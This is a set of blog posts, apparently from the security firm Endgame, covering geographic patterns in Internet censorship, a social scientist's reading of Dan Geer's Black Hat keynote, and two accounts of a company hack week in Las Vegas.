Hot spots traditionally refer to the geographic clustering of a given event, such as conflict, democracy, or terrorism. Analysts who study hot spots argue that geography – and its diffusion effect – has a stronger impact on the occurrence of these events than domestic factors. Internet censorship may be a likely addition to the ‘hot spots’ literature. An initial investigation of geospatial data shows visible geographic clustering of Internet censorship and freedoms. However, the same linear relationship is not necessarily true between several predominant domestic indicators and Internet censorship. To evaluate these relationships, I reviewed the following indicators for 2013:

• Regime type: Polity V’s twenty-one point ordinal measure ranking states from authoritarian to anocratic to democratic regimes.
• Economic development: World Bank GDP per capita (PPP).
• Internet penetration: Percentage of Individuals using the Internet from the International Telecommunications Union.
• Freedom on the Net: Freedom House’s ranking of countries as Free, Partly Free or Not Free with regard to Internet freedoms, as well as theWeb Index’s freedom and openness indicator.

The obvious hypotheses assume that democratic regimes, greater economic development, and greater Internet penetration would be inversely related to Internet censorship. However, that’s not always the case. Let’s take democracy. While all but one country ranked as ‘Free’ (minimal or no Internet censorship) is also a democracy (Armenia is the outlier), not all democracies are ranked as ‘Free’. For example, Turkey, Brazil, South Korea, Mexico, Indonesia, and India are all ranked as ‘Partly Free’ for Internet freedoms, even though Polity categorizes them as democracies. In the realm of Internet freedoms, they join authoritarian countries like Azerbaijan and Kazakhstan as only ‘Partly Free’. The nebulous world of the anocracies is even more haphazard with various illiberal democracies exhibiting a range of censorship characteristics. In short, the countries with the greatest Internet freedoms are more likely to be democracies, but democracy does not guarantee the presence of Internet freedoms.

Similarly, economic development does not appear to be correlated with Internet censorship. Countries that display the greatest Internet censorship (i.e. ‘Not Free’) range from Ethiopia (with a GDP per capita of roughly $1300) to Saudi Arabia (with one of the highest GDP per capitas in the world). On the other end of the spectrum, countries with greater Internet freedom (i.e. ‘Free’) range from Kenya and Georgia (~$2200 and $7100 GDP per capita, respectively) along with the economic leaders United States, Australia, and Germany. The data shows that there are plenty of instances of Internet censorship on both ends of the economic development scale, and the same is true for Internet freedoms.

Finally, it seems intuitive that Internet penetration would be inversely related to Internet censorship. States that censor the Internet seem likely to also impede the development of Internet infrastructure and hinder access. Again, this may not be the case. In ‘Free’ countries Philippines, Ukraine, and South Africa, only 35-50% of the population has access to the Internet. This is the same percentage of Internet penetration found in ‘Not Free’ countries China, Uzbekistan, and Vietnam. Even at the higher levels of Internet access (~85-95%), one finds countries like the United Arab Emirates and Bahrain (Not Free) as well as Iceland and Japan (Free).

In short, many of the usual suspects such as regime type, level of economic development, and Internet penetration may not have as linear an impact on Internet censorship as is commonly assumed. Conversely, the spatial patterns (shown in these interactive maps from Freedom House and Web Index) seem quite apparent with regard to Internet censorship. For example, Africa exhibits discrete clusters of both openness and censorship, as does Asia, while Western Europe and the Middle East exhibit larger, regional clustering patterns at extreme ends of the censorship spectrum. There appears to be a neighborhood effect that may in fact more consistently influence a state’s likelihood of Internet censorship than these domestic factors.

This initial look at the data on Internet censorship highlights the need to more rigorously test many common assumptions about Internet censorship. Comprehensive quantitative analysis using spatial statistics modeling techniques could be applied to further test these hypotheses and evaluate the cross-sectional and temporal trends. These models should include additional control variables such as education levels and urbanization, temporal lags, as well as explore the potential for interactive effects between geography (i.e. contiguity) and some of the domestic factors discussed here. Until then, there’s a chance that global Internet ‘hot spots’ may soon become just as synonymous with Internet censorship as it is with Internet access.

This week I attended my first-ever Black Hat conference. As a social scientist, I was very intrigued to actually experience the culture of the conference, but anticipated being overwhelmed by the technical nature of the presentations. Little did I know that I was in for a very pleasant surprise during yesterday’s keynote address by Dan Geer, CISO at In-Q-Tel, entitled “Cybersecurity as Realpolitik”. While it appropriately remained very focused on the cybersecurity landscape, I couldn’t help but notice the underlying references and parallels that he drew from my world – the world of international relations and conflict studies. Below are a few of my favorite highlights of the presentation. Please keep in mind that these are based on my own note taking and perceptions – captured with a pen and paper, which I now know is clearly anomalous behavior.

1. Expected utility & rational choice – Before diving into his main argument, Geer referenced the use of funds to buy off adversaries during the Iraq War. This is improbable in the cyber landscape of non-attribution, but he notes the role of incentivizing to impact the cost-benefit calculus, as occurs in expected utility models. This notion of assuming rational actors and how to incentivize them reemerged during his discussion on vulnerabilities. This time he hypothesized ways to incentivize the security community to reveal known vulnerabilities, including the US government providing enormous financial rewards to disclose vulnerabilities. Geer references an Atlanticarticle, which notes that financial incentives will only work if the vulnerability landscape is sparse (as opposed to dense, or plentiful). A sparse landscape means that an individual vulnerability would represent a larger proportion of the entire population of vulnerabilities, vice a very dense population where revealing a single vulnerability would have little impact. In each of these instances, the key focus is on how to impact a person’s behavior through understanding and evaluating their risk preferences and motivations.

2. Cybersecurity’s unholy trinity? – In international economics, the unholy trinity (aka Mundell-Fleming model) represents the trade-offs between open capital flows, a fixed exchange rate, and an independent monetary policy. A state can only pursue two of the three – with each scenario inherently inducing distinct constraints on policy decisions. This came to mind as Geer noted that in cyberspace, a similar choice must be made between freedom, security, and convenience. Only two out of the three can exist, but not all three simultaneously. Unfortunately, users demand all three, and from my perspective, security frequently seems to be the lowest priority. This could very well be due to an inability to quantify the return on investment for security….which gets back to point number one.

3. Second-strike – Although Geer used the term ‘strike back’, I translate that quickly to second-strike, which seems identical. Second-strike gained prominence during the Cold War, and is a key component of mutually assured destruction, which rests on the ability of a state to maintain a second-strike posture – that is the ability to strike back after being hit by a nuclear weapon. Geer adopts this concept, and discussed the notion of cyber smart bombs, which he argues are extraordinarily difficult due to non-attribution within the cyber domain. Instead of focusing on second-strike, Geer argues actors (organizations, states, individuals, etc.) should focus on recovery due to the costs and adversarial identification required for cyber smart bombs.

4. A little bit of Churchill – Winston Churchill famously noted (to paraphrase) that democracy is the worst form of government except for all of the others. Geer provides us the cyber version of this quote, when he states (again, to paraphrase) that open-sourcing abandoned codebases is the worst option except for all of the others. This was part of Geer’s discussion of abandonment, when organizations no longer provide security updates for older versions of their software. This remains a problematic and lingering aspect of cybersecurity, without many effective solutions, as the quote insinuates.

5. Convergence or divergence? – Scholars have long debated whether the international system is moving toward a unified system with an overarching international government or whether it will devolve into an anarchic fragmented system. Geer also draws this analogy to cyberspace and asks whether it is headed toward a single system or a heterogeneous one broken into manageable chunks. While convergence is the natural flow, there could be significant power battles over on whose terms this unification occurs.

6. And a little bit of Weber – In a discussion on the growing inability of organizations to protect themselves, Geer referenced a Bloomberg article (possibly this one) that discussed a call by some of the large banks for assistance from the government for cybersecurity. Geer highlights the dependent nature of this relationship, wherein the only actors powerful enough to provide protection for these multi-national corporations are those with a monopoly on the use of force. According to Max Weber, this monopoly on the legitimate use of force is one of the defining characteristics of a state. This is an interesting juxtaposition after so much discussion of the demise of the nation state due to the borderless nature of cyberspace (as I’ve discussed in a previous post).

7. Complexity – In some of his concluding comments, Geer addressed the complex nature of cyberspace. The dynamism, scale, speed and scope of cyberspace – not to mention the intersection of the virtual and physical worlds – all compound to shape its complexity. While clearly there are differences, many of the same tenets exist in systems theory and structural functionalism. Pioneered by social scientists such as Talcott Parsons and Karl Deutsch, they view social systems as open and complex, and identify the various social functions that together comprise the whole system. In both cyberspace and social systems, complexity remains an underlying attribute, and practitioners and theorists alike will continue to pursue simplicity to advance our understanding of how these systems function.

Final thoughts: Geer began his presentation highlighting the growing role of cybersecurity within the policy domain. While understandably few and far between, I have found a couple of panels that focus on the intersection of policy and cybersecurity, addressing issues such as legal constraints and state-sponsorship of malware. For clearly selfish reasons, I hope this is just the beginning of a larger trend. As cybersecurity moves increasingly to the forefront of policy – as Geer elucidates – it only makes sense to innovate these kinds of discussions at conferences like Black Hat.

With outstretched arms and a voice just a tad too loud, I shout, “Welcome to Hack Week!” As a fitting coda to Black Hat and DEF CON wrapping up in the previous days, an enthusiastic group of Endgame software engineers, security researchers, designers, data scientists, devops engineers, architects, and yes, even a few managers and company executives have gathered together in a place where we can all concentrate on our ideas and the Hack, devoid of any outside distractions and temptation to break focus. Literally, we are in the middle of the desert; specifically, The Palms Hotel and Casino in Las Vegas.

In our doublewide conference room, still heavy with the lingering aromas of our breakfast buffet combined with what could only be Red Bull, we’ve just heard our CEO and CTO speak on the importance of innovative culture and the value of looking forward. We’re reminded of the difference between invention and innovation and how there always exists the opportunity to make our products better. Now it’s my turn to speak. I’m playing the role of hype man and evangelist. In contrast to the executives’ strategy points, my intentions are a bit more tactical: how to win hack week.

To call it a hack week is a bit generous. This purposefully abridged gathering is more like hack-two-days. After the morning discussion, we have just about forty-eight hours before the klaxon call of hands off keyboard, minus any time reserved for sleep, or blackjack, or rooftop drinks, or yet another steak. As software engineers, we’re taught to embrace constraints, timetables included. We’re also notorious for over-estimating our abilities when it comes to timelines. I’m interested to see how the short timeframe affects our projects with the addition of all of the variables that this odd city has to offer. More poetically: Beer and Coding in Las Vegas.

The material goal of Hack Week is to produce something useful. The official judging criteria echoes this and is broken into four aspects. The first of these is potential and longevity: will the project find its way into a new product, feature, conference paper, or open source release? Second is innovation. How new and exciting is the project? How does it solve a problem better? Third, how well does a project solve a real world security problem? And finally, how functional is your hack? How well is it implemented and does it actually operate? These are great criteria and set us up for some healthy competition. Aside from this, only a couple more rules are in place: the deadline for coding is high noon on Wednesday, and team sizes should be two to four people. By the time we arrived in Vegas, we’d hashed out our ideas on the company wiki and recruited our team members.

I begin my rant with a few pointers. Scope your project carefully. The teams are small, and the timeline is tight. The Internet connection is fast, but the action at the craps tables is faster. Concentrate on the important part of your project and borrow from Github liberally for the rest. Don’t let yourself get stuck for too long. Ask your teammates for help when you do get stuck. This is a great rule of thumb for everyday development work, but on an accelerated hack project, you benefit greatly when failing fast and relying on your team’s collective experience. To prove this point, I throw some rapid-fire questions at the group to show the diversity of knowledge among our team. I ask for open source components we can use to solve common problems:

“I need to cluster some data points!”

“I need a CSS framework for grid layouts!”

“I want to update a web page in real time!”

“I want to display a time series!”

“I want to do sentiment analysis on a data feed!”

And just so everyone can get involved,

“I need to store and access a thousand rows of data!”

I can’t stump these folks. They’re shouting answers back as soon as I can get the questions out.

“D3!”

“Socket.io!”

“Scikit!”

“Stanford has… some library!”

A program manager even chimes in “SQLite!” for that last question.

At this point I’m hopping around the room awarding airplane bottles of Jaegermeister and Fireball cinnamon whiskey for correct answers, and when those are all gone, some anthropomorphized scratch and sniff stickers of tacos. They have eyes, mouths, mustaches, sombreros, and guitars. They smell like cumin and stale tortillas.

You can feel a great energy in the room building up. We believe in ourselves and we can solve any problem.

After this silliness, I reiterate the criteria for the competitive win, but my main point is to talk about the real win, the team win. The cultural win. The kind of win that makes the time and resources that go into this production worth it for every stakeholder, even if all of our projects are complete duds.

I stress the importance of the presentation. Spend time on preparing your talk! Tell a story, and provide context and background. Dumb it down for the least technical person in the room (and yes, someone volunteered to serve that role). Then, dumb it down some more. Only then are we ready for your demo.

The goal of Hack Week is a collective teaching and learning. We learn about ourselves, and how we work together, how we solve problems, and how we react and support one another when we fail to solve problems. To win Hack Week, when we give our twelve-minute presentations, we must reveal that journey as much as we show off the bytes and pixels we manipulate:

How did you come up with your idea?

What was your methodology?

What tools did you use?

What did you try that was different?

What worked, and what didn’t work?

What did you learn?

We win Hack Week by teaching that experience. This is a cultural goal of any company, but just as we can accelerate writing code during Hack Week, so can we with fusing our culture.

The next few days were frenzied. The four large, portable whiteboards were quickly commandeered and marked up with checklists, diagrams, and even formal user stories. Some of us pulled all-nighters. Some went out for Japanese curry dishes. Some hacked away persistently with headphones. Another found cookies. The energy never subsided. I caught a frontend engineer whisper to his team, with wide eyes and raised brows, “guys, I want to just absolutely crush this thing.”

Ultimately, team Endgame won Hack Week. The projects presented were varied, and all of them interesting enough for lively, inquisitive, and deep Q&A sessions. They included exploration tools for DNS data, large-scale honeypot deployments and analysis, mobile OS process visualization, and a complete lightweight overhaul of an existing Endgame product. A recently-hired UX designer implemented a solo project, an onboarding application for new hires, which rivaled any of the minimum viable products you’d see from a funded startup on Hacker News. Over the two days, one of our data scientists learned the Angular JavaScript framework, and another frontend engineer learned about process threads on Android. Some of the hacks will find their way into product features. Others will become internal tools. Some will never see the light of day but will prompt discussions for new ideas. Hack Week was an amazing opportunity to have fun, teach, and learn, and I’m already looking forward to the next one. For us, what happens in Vegas stays on Github!

Want to hear more about Endgame Hack Week? Read Andrea Limbago’s perspective here.

Endgame is always looking for great talent to join the team. If you enjoyed hearing about Endgame Hack Week, please take a look at our job openings to learn more about careers at Endgame.

Several Endgamers attended Black Hat in Las Vegas a couple of weeks ago. Some stayed and many more arrived for DEF CON. Keeping the theme alive, we just finished up this summer’s Vegas hack week, where engineers, data scientists, product managers, and even a social scientist all gathered to pursue new endeavors outside the normal sprint cycles and Jira tickets. With the team split between San Francisco and DC, it was a great time not only to see if we could quickly hack an idea into reality, but it also gave the team a chance to spend some quality time together.

The purpose of hack week is to set aside time outside of the office for self-forming teams to pursue new ideas. The week culminates with demos by each team, followed of course by a celebration of all the hard work and great projects that emerged. The projects include product enhancements, internal tools creation, data exploration and validation, and even execution of brand new product ideas. However, there are many intangibles that accompany the week that have a lasting impact on the company’s culture and continued emphasis on innovation:

• Knocking out the Tech Bucket List: Everyone has a bucket list, and while we are busy in our day-to-day work demands, we don’t always get a chance to fully explore the promising tangents we encounter every day. During this week, we get the chance to explore new technologies, libraries, data sources, and methodologies. Together, these feed into the continuous whiteboarding sessions where ideas are knocked around within and across teams, with the assistance—of course—of plenty of caffeine.

• Failure is an option: This may seem simplistic, and possibly even counterintuitive, but the hack week fosters an environment of risk-taking and exploration. The week provides the opportunity to explore ideas without being burdened with whether they succeed or not. Of course, the goal is not to fail, but more often than not failure may close one door but open another, serendipitously providing insights into new solutions or approaches. In Steven Johnson’s book, Where Good Ideas Come From, he explains, “Innovative environments thrive on useful mistakes…”, and these mistakes are an intrinsic component of exploration and innovation.

• Cross-pollination of ideas: The group that gathered in Vegas represents a broad range of expertise and backgrounds. Given this diversity, it’s important to foster an environment that encourages the cross-pollination of ideas within and across teams. More often than not, people use this time to brainstorm ideas with groups other than their day-to-day teams about the projects they’re tackling. In fact, on my hack week team alone we counted contributions from at least three different projects. Since we had an astrophysicist participating, it’s almost essential to throw in a quote from Neil deGrasse Tyson (writing for Foreign Affairs). He notes, “cross-pollination involving a diversity of sciences much more readily encourages revolutionary discoveries.” While we didn’t expect revolutionary, I certainly saw some real excitement about some of the breakthroughs.

• Mandatory Fun: In the spirit of Weird Al Yankovic’s latest album, hack week similarly disregards many corporate-style team-building events, and favors a more natural (and fun!) environment for getting to know colleagues professionally and personally. This is especially important given all of the new folks attending their first Endgame hack week. It gives each of us some time to demonstrate our own skills, while learning more about the capabilities and backgrounds of our colleagues. We also identified some interesting nocturnal eating habits, and possibly even invented a few new dance moves along the way.

It’s safe to say we accomplished many of these intangible goals for the week. And who knows, it just may be the case that what happens in Vegas won’t stay in Vegas, and will ignite future efforts on our teams back home.

Want to hear more about Endgame Hack Week? Read John Herren’s perspective here.